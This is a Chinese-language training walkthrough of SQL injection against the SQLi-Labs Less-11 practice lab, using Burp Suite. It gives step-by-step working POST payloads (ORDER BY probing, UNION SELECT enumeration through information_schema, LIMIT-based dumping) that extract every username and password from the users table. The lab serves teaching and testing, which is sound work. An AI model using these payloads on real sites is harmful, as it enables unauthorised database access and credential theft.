1.访问SQLi-Labs网站
访问Less-11
http://本机IP/sqli-labs/Less-11
2.利用Burpsuite工具抓包
1)启动Burpsuite并设置代理服务端口
2)设置Firefox代理
注意:端口要一致
3)开启 Burpsuite的代理拦截功能
4)利用Burpsuite工具拦截HTTP请求包
在Firefox浏览器访问Less-11登录界面,输入用户名admin、密码任意,然后点击Submit。此时,Burpsuite会拦截到HTTP请求包
5)将Burpsuite工具拦截到的HTTP请求包发送至 Repeater模块
单击鼠标右键,在弹出的菜单中选择Send to Repeater",将其发送给Burpsuite的 Repeater模块
3.寻找注入点
在POST表单处,分别使用以下2条payload寻找注入点及判断注入点的类型:
uname=admin'&passwd=1111&submit=Submit
报错!
uname=admin'#&passwd=1111&submit=Submit
正常回显用户名和密码
由此可以判断,目标网站在POST参数处存在字符型注入点
4. 判断网站查询的字段数
uname=admin' order by 1#&passwd=1111&submit=Submit
正常回显用户名和密码
uname=admin' order by 2#&passwd=1111&submit=Submit
正常回显用户名和密码
uname=admin' order by 3#&passwd=1111&submit=Submit
报错
由此可以判断,网站查询的字段数为2
5.判断网站的回显位置
uname=admin' and 1=2 union select 1,2#&passwd=1111&submit=Submit
结果,1号位和2号位均可以回显
6.获取网站当前所在数据库的库名
uname=admin' and 1=2 union select 1,database()#&passwd=1111&submit=Submit
显示结果为security
7.获取数据库的全部表名
uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=1111&submit=Submit
显示结果中,有一个名为users 的表,这当中可能存放着网站用户的基本信息
8.获取users表的全部字段名
uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=1111&submit=Submit
显示结果,users表中有id、username和 password三个字段
9.获取users表id、username、和password字段的全部值
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如
1)显示第一组数据
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 0,1#&passwd=1111&submit=Submit
2)显示第二组数据
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 1,1#&passwd=1111&submit=Submit
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。